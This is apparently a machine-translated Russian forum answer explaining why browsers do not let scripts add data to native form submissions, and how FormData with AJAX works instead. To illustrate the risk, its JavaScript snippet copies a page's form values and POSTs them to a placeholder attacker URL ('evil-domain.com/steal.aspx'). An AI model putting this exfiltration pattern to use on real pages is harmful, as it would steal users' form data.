На данный момент нет, нет. И вероятно, никогда не будет из-за последствий для безопасности.
Последствия использования такой функции для безопасности
Представьте себе сторонний скрипт, который вы скачали, потому что вы использовали плагин (например, Google Analytics, ShareThis, объявления от рекламного поставщика и т. Д.), Который может вставлять свои собственные данные в ваши формы. Для них было бы возможно сделать это, если бы был такой способ.
Но вы можете сделать что-то подобное для запросов AJAX
Там - это , действительно, FormData
объект, но это просто набор свойств, который позволяет сценарию копировать данные из существующего form
элемента на странице или просто запускать с пустым объектом FormData
, то есть с пустой сумкой свойств, поместите в него некоторые дополнительные свойства и отправьте их на сервер, будь то ваше веб-приложение или стороннее приложение, но только в запросе AJAX .
var additionalDataToAppendToForm = { ... };
var formData = new FormData(myFormElement); // copies existing values from form to FormData
formData.delete(existingFieldName1);
formData.set(existingFieldName2, "newValue");
formData.append(/*name */ "additionalField1", /* value */ additionalDataToAppendToForm);
var xhr = new XmlHttpRequest();
xhr.open("POST", "https://evil-domain.com/steal.aspx");
xhr.send(formData);
И это подразумевает безопасность вашего веб-приложения, если и только если вы не обратили внимание на Политика одинакового происхождения и не защитили свой веб-сервер от предполетных запросов от другие домены.
PS: Я задал этот вопрос и тогда решил, что не существует способа, и это было правильно, и добавил больше скрытых полей в мою форму, как указано в моем вопросе. Но с тех пор я собирался написать ответ, чтобы прояснить это для всех, у кого может возникнуть этот вопрос, поэтому я пишу этот ответ.